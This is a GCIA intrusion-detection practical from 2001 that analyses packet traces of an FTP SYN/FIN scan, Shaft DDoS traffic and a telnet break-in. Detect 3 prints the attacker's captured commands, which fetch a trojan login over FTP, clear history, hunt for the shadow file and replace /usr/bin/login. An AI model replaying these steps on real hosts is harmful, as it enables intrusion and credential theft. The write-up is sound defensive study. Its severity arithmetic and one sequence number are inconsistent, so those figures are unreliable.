Global Information Assurance Certification Paper

Intrusion Detects and Analysis
GCIA Practical Assignment

Tyler Schacht
Baltimore 2001

Submitted on August 16, 2001

Assignment 1 – Network Detects, 40 Points.

Detect 1

From TCPDUMP:

09:41:16.619592 207.171.221.152.21 > OUR.BOX.56.1.21: SF 1285786079:1285786079(0) win 1028
09:41:16.641128 207.171.221.152.21 > OUR.BOX.56.2.21: SF 1285786079:1285786079(0) win 1028
09:41:16.660491 207.171.221.152.21 > OUR.BOX.56.3.21: SF 1285786079:1285786079(0) win 1028
09:41:16.681309 207.171.221.152.21 > OUR.BOX.56.4.21: SF 1285786079:1285786079(0) win 1028
09:41:16.700946 207.171.221.152.21 > OUR.BOX.56.5.21: SF 1285786079:1285786079(0) win 1028
09:41:16.720658 207.171.221.152.21 > OUR.BOX.56.6.21: SF 1285786079:1285786079(0) win 1028
09:41:16.740142 207.171.221.152.21 > OUR.BOX.56.7.21: SF 1285786079:1285786079(0) win 1028
09:41:16.761947 207.171.221.152.21 > OUR.BOX.56.8.21: SF 1285786079:1285786079(0) win 1028

09:45:52.414703 207.171.221.152.21 > OUR.BOX.110.1.21: SF 1090431179:1090431179(0) win 1028
09:45:52.435408 207.171.221.152.21 > OUR.BOX.110.2.21: SF 1090431179:1090431179(0) win 1028
09:45:52.439235 OUR.BOX.110.2.21 > 207.171.221.152.21: R 972800242:972800242(0) ack 1090431180 win 0
09:45:52.457179 207.171.221.152.21 > OUR.BOX.110.3.21: SF 1090431179:1090431179(0) win 1028
09:45:52.459759 OUR.BOX.110.3.21 > 207.171.221.152.21: R 972800242:972800242(0) ack 1090431180 win 0

09:45:53.055677 207.171.221.152.21 > OUR.BOX.110.30.21: SF 789160534:789160534(0) win 1028

09:45:53.056323 OUR.BOX.110.30.21 > 207.171.221.152.21: S 4187095936:4187095936(0) ack 789160535 win 16616 (DF)
09:45:53.667793 207.171.221.152.4416 > OUR.BOX.110.30.21: . ack 1 win 32120 (DF)
09:45:53.668574 OUR.BOX.110.30.21 > 207.171.221.152.4416: P 1:51(50) ack 1 win 17520 (DF)
09:45:53.784615 207.171.221.152.4416 > OUR.BOX.110.30.21: . ack 51 win 32120 (DF)
09:45:53.834915 207.171.221.152.4416 > OUR.BOX.110.30.21: F 1:1(0) ack 51 win 32120 (DF)
09:45:53.835704 OUR.BOX.110.30.21 > 207.171.221.152.4416: . ack 2 win 17520 (DF)
09:45:53.835716 OUR.BOX.110.30.21 > 207.171.221.152.4416: F 51:51(0) ack 2 win 17520 (DF)

Source of Trace:

My network at work

Detect Was Generated By:

IP address 207.171.221.152 was flagged by Shadow Script 'findscan.pl'. Findscan.pl is designed to detect IP addresses which exceed a threshhold of unique IP contacts within a given time period. Our threshhold is 15 'non-DNS/non-HTTP' packets within one hour. We have automatic scripts which then parse logged TCPDUMP traffic for these flagged IP addresses. Our systems use TCPDump version 3.4 along with libpcap 0.4

Probability the Source Address Was Spoofed:

Very little chance. The SYN/ACKS were responded to with correct sequence numbers.

Description of Attack:

User is scanning for FTP servers on our network. User successfully locates a FTP server, but the FTP server quickly tears down the connection.

Attack Mechanism:

The user is sending crafted SYN/FIN packets at a very high rate. SYN/FIN packets are used because they can slip through some firewalls. Firewalls that are set up to block only initial SYN packets will skip over this packet because the another flag is set in addition to SYN. The remote machine will still respond to the probe with a reset if it exists.

Here some machines respond with resets. The attacker now knows these are live machines:

09:45:52.439235 198.116.110.2.21 > 207.171.221.152.21: R 972800242:972800242(0) ack 1090431180 win 0
09:45:52.457179 207.171.221.152.21 > 198.116.110.3.21: SF 1090431179:1090431179(0) win 1028
09:45:52.459759 198.116.110.3.21 > 207.171.221.152.21: R 972800242:972800242(0) ack 1090431180 win 0

Here, a machine actually responds to the SYN/FIN with a SYN/ACK. This is very strange behavior that I have witnessed from time to time:

09:45:53.055677 207.171.221.152.21 > 198.116.110.30.21: SF 789160534:789160534(0) win 1028
09:45:53.056323 198.116.110.30.21 > 207.171.221.152.21: S 4187095936:4187095936(0) ack 789160535 win 16616 (DF)

The intruder completes the 3-way handshake:

09:45:53.667793 207.171.221.152.4416 > 198.116.110.30.21: . ack 1 win 32120 (DF)

The FTP server pushes data to the intruder (from the following traffic, I imagine it was a banner saying 'no access allowed'):
09:45:53.668574 198.116.110.30.21 > 207.171.221.152.4416: P 1:51(50) ack 1 win 17520 (DF)

The intruder acknowledges receiving the data:
09:45:53.784615 207.171.221.152.4416 > 198.116.110.30.21: . ack 51 win 32120 (DF)

The FTP server begins to tear down the connection. The intruder agrees, and the connection is torn down gracefully:
09:45:53.834915 207.171.221.152.4416 > 198.116.110.30.21: F 1:1(0) ack 51 win 32120 (DF)
09:45:53.835704 198.116.110.30.21 > 207.171.221.152.4416: . ack 2 win 17520 (DF)
09:45:53.835716 198.116.110.30.21 > 207.171.221.152.4416: F 51:51(0) ack 2 win 17520 (DF)

Correlation:

Several users report receiving SYN/FIN scans.
http://groups.google.com/groups?hl=en&safe=off&th=9437fa45d814659c,7&seekm=3A7A2D67.27982967%40erols.com#p

Evidence of Active Targeting:
The user still subnet scanning for targets. User will probably come back to machines that responded.

Severity:
(system criticality + attack lethality) – (system countermeasures + network countermeasures)
(3 + 1) – (4 + 2) = 5

System Criticality: I give this a 4. This was an FTP server with some sensitive data on it.

Attack Lethality: 1 -- This attack is in the early recon stages. No lethal consequences came of it.

System Countermeasures: 4 – The FTP server did not allow access, though it did complete the 3-way handshake.

Network Countermeasures: 2 - The firewall let the SYN/FIN scans by because it was looking only for SYN flags for incoming connection requests.

Defensive Recommendation:
If you are using a firewall that only scans for initial SYNs, it is important to realize its limitations.

Example Question:

What is the purpose of setting both the SYN and FIN flags in a packet?

a) Because it can exploit a Microsoft Internet Explorer vulnerability
b) Because it confuses the TCP stack by immediately opening and closing a connection
c) Because it can slip by firewalls that block incoming connections based on only the SYN flag being set.
d) All of the above

Answer: c

Detect 2

10:32:17.290222 OUR.BOX.233.31.1739 > 36.37.38.39.103: S 674711609:674711609(0) win 65535 (DF)
10:32:17.290227 OUR.BOX.233.180.1123 > 44.45.46.47.105: S 674711609:674711609(0) win 65535 (DF)
10:32:17.290273 OUR.BOX.233.20.1323 > 28.29.30.31.101: S 674711609:674711609(0) win 65535 (DF)
10:32:17.290280 OUR.BOX.233.31.1739 > 36.37.38.39.103: S 674711609:674711609(0) win 65535 (DF)
10:32:17.290284 OUR.BOX.233.180.1123 > 44.45.46.47.105: S 674711609:674711609(0) win 65535 (DF)
10:32:17.290336 OUR.BOX.233.20.1323 > 28.29.30.31.101: S 674711609:674711609(0) win 65535 (DF)
10:32:17.290344 OUR.BOX.233.31.1739 > 36.37.38.39.103: S 674711609:674711609(0) win 65535 (DF)
10:32:17.290383 OUR.BOX.233.180.1123 > 44.45.46.47.105: S 674711609:674711609(0) win 65535 (DF)
10:32:17.290389 OUR.BOX.233.20.1323 > 28.29.30.31.101: S 674711609:674711609(0) win 65535 (DF)
10:32:17.290395 OUR.BOX.233.31.1739 > 36.37.38.39.103: S 674711609:674711609(0) win 65535 (DF)
10:32:17.290401 OUR.BOX.233.180.1123 > 44.45.46.47.105: S 674711609:674711609(0) win 65535 (DF)
10:32:17.290540 OUR.BOX.233.20.1323 > 28.29.30.31.101: S 674711609:674711609(0) win 65535 (DF)
10:32:17.290547 OUR.BOX.233.31.1739 > 36.37.38.39.103: S 674711609:674711609(0) win 65535 (DF)
10:32:17.290551 OUR.BOX.233.180.1123 > 44.45.46.47.105: S 674711609:674711609(0) win 65535 (DF)
10:32:17.290556 OUR.BOX.233.20.1323 > 28.29.30.31.101: S 674711609:674711609(0) win 65535 (DF)
10:32:17.290567 OUR.BOX.233.31.1739 > 36.37.38.39.103: S 674711609:674711609(0) win 65535 (DF)
10:32:17.290570 OUR.BOX.233.180.1123 > 44.45.46.47.105: S 674711609:674711609(0) win 65535 (DF)
10:32:17.290678 OUR.BOX.233.20.1323 > 28.29.30.31.101: S 674711609:674711609(0) win 65535 (DF)
10:32:17.290682 OUR.BOX.233.31.1739 > 36.37.38.39.103: S 674711609:674711609(0) win 65535 (DF)
10:32:17.290685 OUR.BOX.233.180.1123 > 44.45.46.47.105: S 674711609:674711609(0) win 65535 (DF)
10:32:17.290725 OUR.BOX.233.20.1323 > 28.29.30.31.101: S 674711609:674711609(0) win 65535 (DF)
10:32:17.290732 OUR.BOX.233.31.1739 > 36.37.38.39.103: S 674711609:674711609(0) win 65535 (DF)
10:32:17.290877 OUR.BOX.233.20.1323 > 28.29.30.31.101: S 674711609:674711609(0) win 65535 (DF)
10:32:17.290882 OUR.BOX.233.31.1739 > 36.37.38.39.103: S 674711609:674711609(0) win 65535 (DF)
10:32:17.290886 OUR.BOX.233.180.1123 > 44.45.46.47.105: S 674711609:674711609(0) win 65535 (DF)
<very small sample>

Real-Time packet detects gathered using ‘snoop –d hme1 “host OUR.BOX.233.

OUR.BOX.233.12 -> 48.49.50.51 TCP D=78 S=1804 Syn Seq=674711609 Len=0 Win=65535

```
 0: 0004 de58 2920 0060 8325 dd00 0800 4500    ...X) .`.%....E.
16: 0028 4325 4000 0906 5691 8ca9 e90c 3031    .(C%@...V.....01
```

```
32: 3233 070c 004e 2837 4839 1308 e7a9 5002    23...N(7H9....P.
48: ffff 6432 011a 0000 0000 0000              ..d2........

OUR.BOX.233.12 -> 48.49.50.51  TCP D=78 S=1804 Syn Seq=674711609 Len=0 Win=65535

 0: 0060 8325 dd00 0004 de58 2920 0800 4500    .`.%.....X) ..E.
16: 0028 4325 4000 0806 5791 8ca9 e90c 3031    .(C%@...W.....01
32: 3233 070c 004e 2837 4839 1308 e7a9 5002    23...N(7H9....P.
48: ffff 6432 011a 0000 0000 0000              ..d2........

OUR.BOX.233.12 -> 48.49.50.51  TCP D=78 S=1804 Syn Seq=674711609 Len=0 Win=65535

 0: 0004 de58 2920 0060 8325 dd00 0800 4500    ...X) .`.%....E.
16: 0028 4325 4000 0706 5891 8ca9 e90c 3031    .(C%@...X.....01
32: 3233 070c 004e 2837 4839 1308 e7a9 5002    23...N(7H9....P.
48: ffff 6432 011a 0000 0000 0000              ..d2........

OUR.BOX.233.12 -> 48.49.50.51  TCP D=78 S=1804 Syn Seq=674711609 Len=0 Win=65535

 0: 0060 8325 dd00 0004 de58 2920 0800 4500    .`.%.....X) ..E.
16: 0028 4325 4000 0606 5991 8ca9 e90c 3031    .(C%@...Y.....01
32: 3233 070c 004e 2837 4839 1308 e7a9 5002    23...N(7H9....P.
48: ffff 6432 011a 0000 0000 0000              ..d2........

OUR.BOX.233.12 -> 48.49.50.51  TCP D=78 S=1804 Syn Seq=674711609 Len=0 Win=65535

 0: 0004 de58 2920 0060 8325 dd00 0800 4500    ...X) .`.%....E.
16: 0028 4325 4000 0506 5a91 8ca9 e90c 3031    .(C%@...Z.....01
32: 3233 070c 004e 2837 4839 1308 e7a9 5002    23...N(7H9....P.
48: ffff 6432 011a 0000 0000 0000              ..d2........

OUR.BOX.233.12 -> 48.49.50.51  TCP D=78 S=1804 Syn Seq=674711609 Len=0 Win=65535

 0: 0060 8325 dd00 0004 de58 2920 0800 4500    .`.%.....X) ..E.
16: 0028 4325 4000 0406 5b91 8ca9 e90c 3031    .(C%@...[.....01
32: 3233 070c 004e 2837 4839 1308 e7a9 5002    23...N(7H9....P.
48: ffff 6432 011a 0000 0000 0000              ..d2........
```

Sources of Trace:
The traces were detected on my work network.

Detect Generated by:
IP address OUR.BOX.233.12 was flagged by Shadow Script 'findscan.pl'. Findscan.pl is designed to detect IP addresses which exceed a threshold of unique IP contacts within a given time period. Our threshold is 15 'non-DNS/non-HTTP' packets within one hour. We have automatic scripts which then parse logged TCPDUMP traffic for these flagged IP addresses. Our systems use TCPDump version 3.4 along with libpcap 0.4. Addition realtime packet breakouts were done from the sensor's command line with 'snoop –d hme1 "host OUR.BOX.233.12"'.

Probability that Source Address was Spoofed
The source address was not spoofed as these were our machines (blush). The destination addresses are most likely auto-generated as the octets increase in order (ie 1.2.3.4).

Given this happens in every packet, it is more than just a coincidence. Also, we didn't record any response to these packets, so that would indicate that the machines were probably non-existent.

Attack Description:

Several internal machines began generating SYN packets at a very high rate to external addresses. After further investigation, it was determined that the Shaft DDOS tool was installed on the machines.

Attack Mechanism:

This attack is a TCP variation of the Shaft DDOS tool. Our internal machines began generating SYN packets at an alarmingly high rate to various external IP addresses. These IP addresses had one thing in common—they all consisted of octets which increased by +1 (ex: 19.20.21.22). The packets also shared a common trait – they all had the sequence number 674711609. According to our data, 18 internal machines were compromised with the Shaft DDOS. We analyzed all the previous logged data we had on file, but found no indication of suspicious previous traffic to any of these machines. Therefore, we surmised the DDOS tool had been in place for some time (before the range of our archived data) and was preconfigured to begin at a set time. Other explanations of how the attack was triggered/configured:
--A 'beacon' packet of some sort was sent to a non-related address but still detected by the infected machines.
--Someone physically installed and configured the DDOS tool (that option has since been ruled out).

As previously mentioned, the machines in question began sending packets within seconds of one another to random IP addresses. How were so many machines compromised? If just one box was infected inside our perimeter, then that box could communicate with the other boxes and our sensor would never see the traffic due to it's placement. This is probably how additional internal boxes were infected.

Below are the common ports which are used to configure the Shaft DDOS tool (from http://www.cert.org):

Client to handler(s): 20432/tcp
Handler to agent(s): 18753/udp
Agent to handler(s): 20433/udp

As previously mentioned, our sensors picked up no traffic to or from these ports involving any of the machines compromised.

The only saving grace of this scenario is the fact that Shaft appeared to be incorrectly configured in regards to its DOS target. The IP addresses attacked were not indicative of a focused DDOS attack.

Correlation:

WhiteHats Arachnid Database Event: IDS253/DDOS_DDOS-SHAFT-SYNFLOOD-OUTGOING
http://whitehats.com/cgi/arachNIDS/Show?_id=ids253&view=event

Sven Dietrich published an excellent analysis of the Shaft DDOS tool:
http://www.adelphi.edu/~spock/shaft_analysis.txt

excerpt:
"Additionally, the sequence number for all TCP packets is fixed, namely 0x28374839 (67411609), which helps with respect to detection at the network level. The ACK and URGENT flags are randomly set, except on some platforms. Destination ports for TCP and UDP packet floods are randomized."
"...and looking for TCP packets with sequence numbers of 0x28374839 may locate the TCP SYN packet flood traffic. Source ports are always above 1024, and source IP numbers can include zeroes in the leading octet."

Evidence of Active Targeting:
Obviously some active targeting took place at some point since several individual machines were victim to the DDOS trojan.

Severity:
(system criticality + attack lethality) – (system countermeasures + network countermeasures)
(5 + 2) – (1 + 1) = 5

System Criticality: I give this a 4. None of the machines by themselves were too critical, but there were several involved.

Attack Lethality: The DDOS attack could have caused havoc on our network had it been correctly configured. However, it seemed to target a strange set of IP addresses.

System Countermeasures: Several systems were susceptible to the trojan. That deserves a 1.

Network Countermeasures: Our network did not detect the installation of these trojans. We only detected the traffic after the fact. This scores a 1.

Defensive Recommendation:
Scan all machines for this exploit as we cannot be sure how widespread it actually is. Set up a sensor filter for the static sequence number, 67411609.

Question Example:

What is MOST important in detecting a virus/trojan spreading through your internal network?

A) Updated Sensor Filters
B) Sensor Placement
C) Intelligent Analysts
D) Finely Tuned Firewalls

Answer:
B Sensor Placement
Yes, updated filters and intelligent data analysts are required to capture and dissect the data. However, if the sensor is not in the right location, the data will never be seen!

Detect 3

The original NID alert:

```
=== Intruder Script from Stream File "010729.1002.1.stream.init" ===

IP Header from first packet:

Ethernet source        : 0:60:83:25:dd:0
Ethernet destination   : 0:4:de:58:29:20
Ethernet bytes         : 89
Ethernet time          : Sun Jul 29 10:02:37 2001
Network protocol       : IP
Network source         : BAD.GUY.13.1 (Unknown)
Network destination    : OUR.BOX.62.124 (Unknown)
Network bytes          : 75
Transport protocol     : tcp
Transport bytes        : 35
Application source     : 2259
Application destination : 23
NIT total length       : 109
NIT message length     : 101

--- The stream script ----------------------------------------------------

unset HISTFILE
cd /dev/ptyh
get ulogin.c
cd psybnc
get psbnc.ini
quit
locate shadow


--- end of stream script -------------------------------------------------
```

TCPDUMP Data gathered after the above data shows the initial reconnaissance of our intruder:

```
09:33:59.462585 BAD.GUY.13.1.21 > OUR.BOX.134.30.21: SF 1602696315:1602696315(0) win 1028
09:33:59.484025 BAD.GUY.13.1.21 > OUR.BOX.134.31.21: SF 1602696315:1602696315(0) win 1028
09:33:59.502317 BAD.GUY.13.1.21 > OUR.BOX.134.32.21: SF 1602696315:1602696315(0) win 1028
09:33:59.516757 BAD.GUY.13.1.21 > OUR.BOX.134.33.21: SF 1602696315:1602696315(0) win 1028
09:33:59.553887 BAD.GUY.13.1.21 > OUR.BOX.134.34.21: SF 1602696315:1602696315(0) win 1028
09:33:59.561730 BAD.GUY.13.1.21 > OUR.BOX.134.35.21: SF 1602696315:1602696315(0) win 1028
09:33:59.576533 BAD.GUY.13.1.21 > OUR.BOX.134.36.21: SF 1602696315:1602696315(0) win 1028
09:33:59.604010 BAD.GUY.13.1.21 > OUR.BOX.134.37.21: SF 1602696315:1602696315(0) win 1028
09:33:59.621144 BAD.GUY.13.1.21 > OUR.BOX.134.38.21: SF 1602696315:1602696315(0) win 1028
09:33:59.643795 BAD.GUY.13.1.21 > OUR.BOX.134.39.21: SF 1602696315:1602696315(0) win 1028
09:33:59.661662 BAD.GUY.13.1.21 > OUR.BOX.134.40.21: SF 1602696315:1602696315(0) win 1028
09:33:59.679208 BAD.GUY.13.1.21 > OUR.BOX.134.41.21: SF 1602696315:1602696315(0) win 1028

09:34:06.799967 BAD.GUY.13.1.2131 > OUR.BOX.134.100.21: R 2285018107:2285018107(0) win 0
[tos 0x10]
09:34:06.801348 BAD.GUY.13.1.2131 > OUR.BOX.134.100.21: R 2285018107:2285018107(0) win 0
[tos 0x10]
09:34:06.861022 BAD.GUY.13.1.2132 > OUR.BOX.134.101.21: R 2292885314:2292885314(0) win 0
[tos 0x10]
09:34:06.871671 BAD.GUY.13.1.2132 > OUR.BOX.134.101.21: R 2292885314:2292885314(0) win 0
[tos 0x10]
09:34:06.872671 BAD.GUY.13.1.2133 > OUR.BOX.134.102.21: R 2284868749:2284868749(0) win 0
[tos 0x10]
09:35:27.906758 BAD.GUY.13.1.21 > OUR.BOX.2.3.21: SF 1391728249:1391728249(0) win 1028
09:35:27.910773 BAD.GUY.13.1.21 > OUR.BOX.2.5.21: SF 1391728249:1391728249(0) win 1028
09:35:27.925176 BAD.GUY.13.1.21 > OUR.BOX.2.7.21: SF 1391728249:1391728249(0) win 1028
09:35:27.942018 BAD.GUY.13.1.21 > OUR.BOX.2.8.21: SF 1391728249:1391728249(0) win 1028
09:35:27.957365 BAD.GUY.13.1.21 > OUR.BOX.2.9.21: SF 1391728249:1391728249(0) win 1028
```

Live traffic captured at approximate 13:00 CDT shows compilation and installation of a login program.

```
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3059 unset HISTFILE\n
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3059 ls\n
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3059
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3059
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3059 echo '\n
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3059 #include       <std
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3059 #define       PASS
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3059 main (argc, argv, en
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3059 int argc;\nchar **arg
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3059       execve(_PATH
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3059       exit(1);\n
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3059 '>>log.c\n
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3059 gcc -o login log.c\n
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3059
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3059
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3059 ls\n
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3059
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3059 rm -f log.c\n
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3059 whereis login\n
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3059
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3059
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3059 mv /usr/bin/login /d
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3059 mv login /usr/bin\n
```

Additional live traffic captured shows connection to two IRC servers from OUR.BOX.62.124:

```
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071 t
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071 elnet
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071  cha
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071 t.b
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071 t
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071 .net
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071 667
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071 t
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071 elnet
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071  ir
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071 c
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071 .f
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071 re
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071 en
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071 et
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071 .
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071 d
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071 e
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071 66
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071 67
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071 USE
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071 R d
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071 d d
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071 d d\r\0
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071 NIC
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071 K
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071 dkkr
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071 JOIN
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071 #g
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071 i
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071 arre\r\0
```

BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071 n
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071 slo
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071 ok
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071 up
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071 OUR.BOX.62.124

Sources of Trace
The traffic was detected on my work network.

Detect Generated By:
The initial alert was triggered by the NIDS intrusion detection system. The second set of data was captured by TCPDUMP. We auto capture TCPDUMP data and stop/restart the process each hour. This way we have hourly log files of all traffic from which we can search for data. I went back and captured the TCPDUMP data corresponding to our suspect IP address. From there, we proceeded to capture live traffic using the 'snoop' utility on a Solaris machine.

Probability the Source Address Was Spoofed:
Not a chance. There was extended communication between the two machines which could not take place during a spoof.

Attack Description:
A user telnets into one of our network machines. From there the user transfers some source code files to our machine via FTP. The user then compiles some code on our machine and uses that code as a shell proxy to an IRC server.

Attack Mechanism

A bad guy begins with reconnaissance on our network. After typical scanning, he locks in on a specific box, which is running Linux. He enters a telnet session on that box. During that session, we see the following commands entered:

--- The stream script ----------

unset HISTFILE
cd /dev/ptyh
get ulogin.c
cd psybnc
get psbnc.ini
quit
locate shadow

--- end of stream script ----------

'unset history'
The bad guy wants to erase the shell history log so the system commands he entered are not viewable by another user.

'get ulogin.c'
This could either be a FTP command to get the file off of another host, or the command to extract source code from a SCCS file. SCCS is a source code management tool, and entering the get command would extract the latest revision of the given c file. But, I believe he was using the get command because of the following command. More description on the 'ulogin.c' program later.

'cd psybnc'

This indicates a change directory FTP command. This is evidence to us that the bad guy is most likely in a FTP session with another host in order to transfer some files he plans to use.

'get psybnc.ini'

This is another FTP get command to retrieve the psybnc.ini file.

'locate shadow'

The user enters a locate command. He is looking for any files with shadow in the title. He is probably most interested in getting the hashes from the shadow file so he can try to crack some user passwords.

Our next group of captured traffic indicates that the user hand typed some code and compiled it. Although we don't have the traffic to show it, he may have also compiled 'ulogin.c' which was downloaded earlier. Ulogin.c is a trojan named "Universal Login" which provides a connection shell to basically every OS available:

```
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3059 unset HISTFILE\n
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3059 ls\n
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3059
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3059
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3059 echo '\n
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3059 #include      <std
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3059 #define       PASS
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3059 main (argc, argv, en
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3059 int argc;\nchar **arg
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3059        execve(_PATH
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3059        exit(1);\n
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3059 '>>log.c\n
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3059 gcc -o login log.c\n
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3059
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3059
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3059 ls\n
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3059
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3059 rm -f log.c\n
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3059 whereis login\n
```

```
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3059
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3059
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3059 mv /usr/bin/login /d
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3059 mv login /usr/bin\n
```

In the final bit of code we see the user telnet from our box to an IRC server, set his user nick to 'dkkr', and join the channel #gierre. Remember the psybnc.ini file which was transferred earlier? Psybnc is an IRC 'bounce' program. It allows a user to connect and successfully log into an IRC server using shell on another machine. I believe that is the application that this user activated in order to use our machine as a proxy-shell.

```
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071 t
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071 elnet
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071  cha
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071 t.b
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071 t
BAD.GUY.13.1 -> OUR.BOX.62.124 TELNET C port=3071 .net
